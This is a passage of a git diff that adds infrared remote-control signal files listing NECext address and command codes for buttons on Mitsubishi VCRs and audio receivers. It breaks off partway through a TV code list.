+command: 48 00 00 00 +# +name: VCR_ADJ_< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 49 00 00 00 +# +name: VCR_ADJUST_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 49 00 00 00 +# +name: V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 49 00 00 00 +# +name: VCRA_EXCH_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 49 00 00 00 +# +name: VCR_AUDIO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 50 00 00 00 +# +name: VCR_AUDIO_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 50 00 00 00 +# +name: VCRA_AUDIO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 50 00 00 00 +# +name: VCR_MODE +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 52 00 00 00 +# +name: VCR_MENU +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 52 00 00 00 +# +name: VCRA_MENU +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 52 00 00 00 +# +name: VCR_AUDIO_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 58 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 80 00 00 00 +# +name: VCRB_1 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 80 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 81 00 00 00 +# +name: VCRB_9 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 81 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 82 00 00 00 +# +name: VCRB_POWER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 82 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 84 00 00 00 +# +name: VCRB_PLAY_> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 84 00 00 00 +# +name: VCRB_TV/VCR +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 85 00 00 00 +# +name: VCRB_VCR/TV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 85 00 00 00 +# +name: VCR/TV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 85 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 88 00 00 00 +# +name: VCRB_2 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 88 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 89 00 00 00 +# +name: VCRB_0 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 89 00 00 00 +# +name: CH_^_(SCAN_^) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 8A 00 00 00 +# +name: VCRB_CHANNEL_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 8A 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 8B 00 00 00 +# +name: VCRB_CANCEL +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 8B 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 8C 00 00 00 +# +name: VCRB_REC +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 8C 00 00 00 +# +name: ZERO_STOP +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 8D 00 00 00 +# +name: SLOW_+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 8E 00 00 00 +# +name: INDEX_SRCH_+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 8E 00 00 00 +# +name: VCRB_> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 8E 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 90 00 00 00 +# +name: VCRB_3 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 90 00 00 00 +# +name: CH_V_(SCAN_V) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 92 00 00 00 +# +name: VCRB_CHANNEL_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 92 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 94 00 00 00 +# +name: VCRB_STOP_[] +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 94 00 00 00 +# +name: SLOW_- +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 96 00 00 00 +# +name: INDEX_SRCH_- +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 96 00 00 00 +# +name: VCRB_< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 96 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 98 00 00 00 +# +name: VCRB_4 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 98 00 00 00 +# +name: PAUSE_ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 9C 00 00 00 +# +name: VCRB_PAUSE_ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 9C 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: A0 00 00 00 +# +name: VCRB_5 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: A0 00 00 00 +# +name: FF/SRCH_>> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: A4 00 00 00 +# +name: VCRB_FF/FWD_>> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: A4 00 00 00 +# +name: FAST_PLAY +type: parsed +protocol: NECext +address: 57 00 00 00 +command: A5 00 00 00 +# +name: Q.V. +type: parsed +protocol: NECext +address: 57 00 00 00 +command: A5 00 00 00 +# +name: VCRB_SQV/QV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: A5 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 57 00 00 00 +command: A7 00 00 00 +# +name: VCRB_INFO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: A7 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: A8 00 00 00 +# +name: VCRB_6 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: A8 00 00 00 +# +name: REW/SRCH_<< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: AC 00 00 00 +# +name: VCRB_REW/REV_<< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: AC 00 00 00 +# +name: OFF-T_OTR +type: parsed +protocol: NECext +address: 57 00 00 00 +command: AF 00 00 00 +# +name: VCRB_SLEEP +type: parsed +protocol: NECext +address: 57 00 00 00 +command: AF 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: B0 00 00 00 +# +name: VCRB_7 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: B0 00 00 00 +# +name: SLOW_> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: B4 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: B5 00 00 00 +# +name: VCRB_ENTER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: B5 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: B8 00 00 00 +# +name: VCRB_8 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: B8 00 00 00 +# +name: INPUT_SELECT +type: parsed +protocol: NECext +address: 57 00 00 00 +command: BA 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 57 00 00 00 +command: BA 00 00 00 +# +name: VCRB_INPUT +type: parsed +protocol: NECext +address: 57 00 00 00 +command: BA 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: C0 00 00 00 +# +name: VCRB_VIDEO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: C0 00 00 00 +# +name: VCRB_ADJUST_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: C1 00 00 00 +# +name: VCRB_EXCH_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: C9 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: D0 00 00 00 +# +name: VCRB_AUDIO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: D0 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 57 00 00 00 +command: D2 00 00 00 +# +name: VCRB_MENU +type: parsed +protocol: NECext +address: 57 00 00 00 +command: D2 00 00 00 +# +name: ADJUST_- +type: parsed +protocol: NECext +address: 57 00 00 00 +command: F3 00 00 00 +# +name: ADJUST_+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: F4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Receiver/119,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Receiver/119,-1.ir new file mode 100644 index 000000000..6828b0bff --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Receiver/119,-1.ir @@ -0,0 +1,884 @@ +Filetype: IR signals file +Version: 1 +# +name: AUDIO_1 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 00 00 00 00 +# +name: 1_(CAM) +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 00 00 00 00 +# +name: AUDIO_9 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 01 00 00 00 +# +name: 9_(CD) +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 01 00 00 00 +# +name: AUDIO_POWER +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 02 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 02 00 00 00 +# +name: AUDIO_2 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 08 00 00 00 +# +name: 2_(DVD) +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 08 00 00 00 +# +name: AUDIO_0 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 09 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 09 00 00 00 +# +name: AUDIO_SCAN_^ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 0A 00 00 00 +# +name: VCRA_CH_^_(SCAN_^) +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 0A 00 00 00 +# +name: PRESET_SCAN_(INTRO) +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 0A 00 00 00 +# +name: AUDIO_CANCEL +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 0B 00 00 00 +# +name: AUDIO_3 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 10 00 00 00 +# +name: 3_(TV) +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 10 00 00 00 +# +name: AUDIO_SCAN_V +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 12 00 00 00 +# +name: VCRA_CH_V_(SCAN_V) +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 12 00 00 00 +# +name: AUDIO_4 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 18 00 00 00 +# +name: 4_(VCR) +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 18 00 00 00 +# +name: AUDIO_INPUT_V +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 1A 00 00 00 +# +name: VCRA_INPUT_V +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 1A 00 00 00 +# +name: AUDIO_5 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 20 00 00 00 +# +name: 5_(TAPE1) +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 20 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 22 00 00 00 +# +name: VOL_^ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 22 00 00 00 +# +name: AUDIO_DISPLAY +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 27 00 00 00 +# +name: AUDIO_6 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 28 00 00 00 +# +name: 6_(TAPE2) +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 28 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 2A 00 00 00 +# +name: VOL_V +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 2A 00 00 00 +# +name: AUDIO_SLOW +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 2B 00 00 00 +# +name: SUR_(PAUSE) +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 2B 00 00 00 +# +name: AUDIO_7 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 30 00 00 00 +# +name: 7_(TUNER) +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 30 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 32 00 00 00 +# +name: AUDIO_VOL_^ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 33 00 00 00 +# +name: AUDIO_FS/+ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 33 00 00 00 +# +name: REAR_+_(PLAY) +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 33 00 00 00 +# +name: AUDIO_ENTER +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 35 00 00 00 +# +name: AUDIO_8 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 38 00 00 00 +# +name: 8_(AUX) +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 38 00 00 00 +# +name: AUDIO_INPUT_^ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 3A 00 00 00 +# +name: VCRA_INPUT_^ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 3A 00 00 00 +# +name: AUDIO_VOL_V +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 3B 00 00 00 +# +name: AUDIO_RS/- +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 3B 00 00 00 +# +name: REAR_-_(STOP) +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 3B 00 00 00 +# +name: AUDIO_B +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 3F 00 00 00 +# +name: AUDIO_ADJUST_^ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 41 00 00 00 +# +name: CH_^ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 41 00 00 00 +# +name: VCR_B +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 43 00 00 00 +# +name: VCR_B_INPUT +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 43 00 00 00 +# +name: VCR_A +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 44 00 00 00 +# +name: VCR_A_INPUT +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 44 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 45 00 00 00 +# +name: TV_INPUT +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 45 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 46 00 00 00 +# +name: CD_INPUT +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 46 00 00 00 +# +name: AUDIO_ADJUST_V +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 49 00 00 00 +# +name: CH_V +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 49 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 4B 00 00 00 +# +name: PHONO_INPUT +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 4B 00 00 00 +# +name: FM/AM +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 4C 00 00 00 +# +name: TAPE1/2 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 4D 00 00 00 +# +name: TAPE_1/2_INPUT +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 4D 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 4E 00 00 00 +# +name: AUX_INPUT +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 4E 00 00 00 +# +name: AUDIO_AUDIO_^ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 50 00 00 00 +# +name: AUDIO_MENU +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 52 00 00 00 +# +name: TEST +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 56 00 00 00 +# +name: AUDIO_AUDIO_V +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 58 00 00 00 +# +name: CENTER +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 5C 00 00 00 +# +name: CENTER_+_(FF) +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 75 00 00 00 +# +name: DELAY_(REC) +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 7B 00 00 00 +# +name: CENTER_-_(REW) +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 7D 00 00 00 +# +name: TAPE1_1 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 80 00 00 00 +# +name: TAPE1_9 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 81 00 00 00 +# +name: TAPE1_MENU +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 82 00 00 00 +# +name: TAPE1_PLAY_> +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 84 00 00 00 +# +name: TAPE2_PLAY_> +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 85 00 00 00 +# +name: TAPE1_VOL_^ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 86 00 00 00 +# +name: TAPE1_FS/+ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 86 00 00 00 +# +name: TAPE2_VOL_^ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 87 00 00 00 +# +name: TAPE2_FS/+ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 87 00 00 00 +# +name: TAPE1_2 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 88 00 00 00 +# +name: TAPE1_0 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 89 00 00 00 +# +name: TAPE1_ENTER +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 8A 00 00 00 +# +name: TAPE1_REC +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 8C 00 00 00 +# +name: TAPE1_VOL_V +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 8E 00 00 00 +# +name: TAPE1_RS/- +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 8E 00 00 00 +# +name: TAPE2_VOL_V +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 8F 00 00 00 +# +name: TAPE2_RS/- +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 8F 00 00 00 +# +name: TAPE1_3 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 90 00 00 00 +# +name: TAPE1_CANCEL +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 92 00 00 00 +# +name: TAPE1_STOP_[] +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 94 00 00 00 +# +name: TAPE2_STOP_[] +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 95 00 00 00 +# +name: TAPE1_REPEAT +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 97 00 00 00 +# +name: TAPE1_4 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 98 00 00 00 +# +name: TAPE1_PAUSE_ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 9C 00 00 00 +# +name: TAPE2_PAUSE_ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 9D 00 00 00 +# +name: TAPE1_5 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: A0 00 00 00 +# +name: TAPE1_AUDIO_^ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: A2 00 00 00 +# +name: TAPE1_FF_>> +type: parsed +protocol: NECext +address: 77 00 00 00 +command: A4 00 00 00 +# +name: TAPE2_FF_>> +type: parsed +protocol: NECext +address: 77 00 00 00 +command: A5 00 00 00 +# +name: TAPE1_DISPLAY +type: parsed +protocol: NECext +address: 77 00 00 00 +command: A7 00 00 00 +# +name: TAPE1_6 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: A8 00 00 00 +# +name: TAPE1_AUDIO_V +type: parsed +protocol: NECext +address: 77 00 00 00 +command: AA 00 00 00 +# +name: TAPE1_REW_<< +type: parsed +protocol: NECext +address: 77 00 00 00 +command: AC 00 00 00 +# +name: TAPE2_REW_<< +type: parsed +protocol: NECext +address: 77 00 00 00 +command: AD 00 00 00 +# +name: TAPE1_INTRO +type: parsed +protocol: NECext +address: 77 00 00 00 +command: AE 00 00 00 +# +name: TAPE2_INTRO +type: parsed +protocol: NECext +address: 77 00 00 00 +command: AF 00 00 00 +# +name: TAPE1_7 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: B0 00 00 00 +# +name: TAPE1_ADJUST_^ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: B2 00 00 00 +# +name: TAPE1_R.PLAY_< +type: parsed +protocol: NECext +address: 77 00 00 00 +command: B4 00 00 00 +# +name: TAPE1_PLAY_R._< +type: parsed +protocol: NECext +address: 77 00 00 00 +command: B4 00 00 00 +# +name: TAPE2_R.PLAY_< +type: parsed +protocol: NECext +address: 77 00 00 00 +command: B5 00 00 00 +# +name: TAPE2_PLAY_R._< +type: parsed +protocol: NECext +address: 77 00 00 00 +command: B5 00 00 00 +# +name: TAPE1_8 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: B8 00 00 00 +# +name: TAPE1_ADJUST_V +type: parsed +protocol: NECext +address: 77 00 00 00 +command: BA 00 00 00 +# +name: TAPE1_B +type: parsed +protocol: NECext +address: 77 00 00 00 +command: BF 00 00 00 +# +name: CD_1 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: C0 00 00 00 +# +name: CD_9 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: C1 00 00 00 +# +name: CD_PLAY_> +type: parsed +protocol: NECext +address: 77 00 00 00 +command: C4 00 00 00 +# +name: CD_A +type: parsed +protocol: NECext +address: 77 00 00 00 +command: C7 00 00 00 +# +name: CD_2 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: C8 00 00 00 +# +name: CD_0 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: C9 00 00 00 +# +name: CD_FF_>> +type: parsed +protocol: NECext +address: 77 00 00 00 +command: CA 00 00 00 +# +name: CD_CANCEL +type: parsed +protocol: NECext +address: 77 00 00 00 +command: CB 00 00 00 +# +name: CD_3 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: D0 00 00 00 +# +name: CD_REW_<< +type: parsed +protocol: NECext +address: 77 00 00 00 +command: D2 00 00 00 +# +name: CD_STOP_[] +type: parsed +protocol: NECext +address: 77 00 00 00 +command: D4 00 00 00 +# +name: CD_REPEAT +type: parsed +protocol: NECext +address: 77 00 00 00 +command: D7 00 00 00 +# +name: CD_4 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: D8 00 00 00 +# +name: CD_DISPLAY +type: parsed +protocol: NECext +address: 77 00 00 00 +command: DB 00 00 00 +# +name: CD_PAUSE_ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: DC 00 00 00 +# +name: CD_5 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: E0 00 00 00 +# +name: CD_FS/+ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: E4 00 00 00 +# +name: CD_B +type: parsed +protocol: NECext +address: 77 00 00 00 +command: E6 00 00 00 +# +name: CD_6 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: E8 00 00 00 +# +name: CD_RS/- +type: parsed +protocol: NECext +address: 77 00 00 00 +command: EC 00 00 00 +# +name: CD_INTRO +type: parsed +protocol: NECext +address: 77 00 00 00 +command: EE 00 00 00 +# +name: CD_7 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: F0 00 00 00 +# +name: CD_ADJUST_^ +type: parsed +protocol: NECext +address: 77 00 00 00 +command: F4 00 00 00 +# +name: CD_ENTER +type: parsed +protocol: NECext +address: 77 00 00 00 +command: F5 00 00 00 +# +name: CD_8 +type: parsed +protocol: NECext +address: 77 00 00 00 +command: F8 00 00 00 +# +name: CD_ADJUST_V +type: parsed +protocol: NECext +address: 77 00 00 00 +command: FC 00 00 00 +# +name: CD_MENU +type: parsed +protocol: NECext +address: 77 00 00 00 +command: FE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Receiver/168,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Receiver/168,-1.ir new file mode 100644 index 000000000..dcf9b34bc --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Receiver/168,-1.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: AUX_0 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 00 00 00 00 +# +name: AUX_1 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 01 00 00 00 +# +name: AUX_2 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 02 00 00 00 +# +name: AUX_3 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 03 00 00 00 +# +name: AUX_4 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 04 00 00 00 +# +name: AUX_5 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 05 00 00 00 +# +name: AUX_6 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 06 00 00 00 +# +name: AUX_7 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 07 00 00 00 +# +name: AUX_8 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 08 00 00 00 +# +name: AUX_9 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 09 00 00 00 +# +name: AUX_FF_>> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 10 00 00 00 +# +name: AUX_REW_<< +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 11 00 00 00 +# +name: AUX_MENU +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 13 00 00 00 +# +name: AUX_STOP_[] +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 16 00 00 00 +# +name: AUX_PLAY_> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 17 00 00 00 +# +name: AUX_PAUSE_ +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 18 00 00 00 +# +name: AUX_POWER +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 1C 00 00 00 +# +name: AUX_INTRO +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 1F 00 00 00 +# +name: AUX_ENTER +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 42 00 00 00 +# +name: AUX_DISPLAY +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 43 00 00 00 +# +name: AUX_CANCEL +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 45 00 00 00 +# +name: AUX_REPEAT +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 4C 00 00 00 +# +name: AUX_A +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 4D 00 00 00 +# +name: AUX_B +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 4E 00 00 00 +# +name: AUX_VOL_^ +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 52 00 00 00 +# +name: AUX_FS/+ +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 52 00 00 00 +# +name: AUX_VOL_V +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 53 00 00 00 +# +name: AUX_RS/- +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 53 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Receiver/71,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Receiver/71,-1.ir new file mode 100644 index 000000000..db6034b68 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Receiver/71,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: TV_1 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 00 00 00 00 +# +name: TV_9 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 01 00 00 00 +# +name: TV_POWER +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 02 00 00 00 +# +name: TV_CANCEL +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 07 00 00 00 +# +name: TV_2 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 08 00 00 00 +# +name: TV_0 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 09 00 00 00 +# +name: TV_CH_^_(SCAN_^) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0A 00 00 00 +# +name: TV_SCAN_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0A 00 00 00 +# +name: TV_QV +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0F 00 00 00 +# +name: TV_3 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 10 00 00 00 +# +name: TV_CH_V_(SCAN_V) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 12 00 00 00 +# +name: TV_SCAN_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 12 00 00 00 +# +name: TV_OTR +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 17 00 00 00 +# +name: TV_4 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 18 00 00 00 +# +name: TV_INPUT_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 1A 00 00 00 +# +name: TV_DISPLAY +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 1B 00 00 00 +# +name: TV_5 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 20 00 00 00 +# +name: TV_6 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 28 00 00 00 +# +name: TV_7 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 30 00 00 00 +# +name: TV_ENTER +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 35 00 00 00 +# +name: 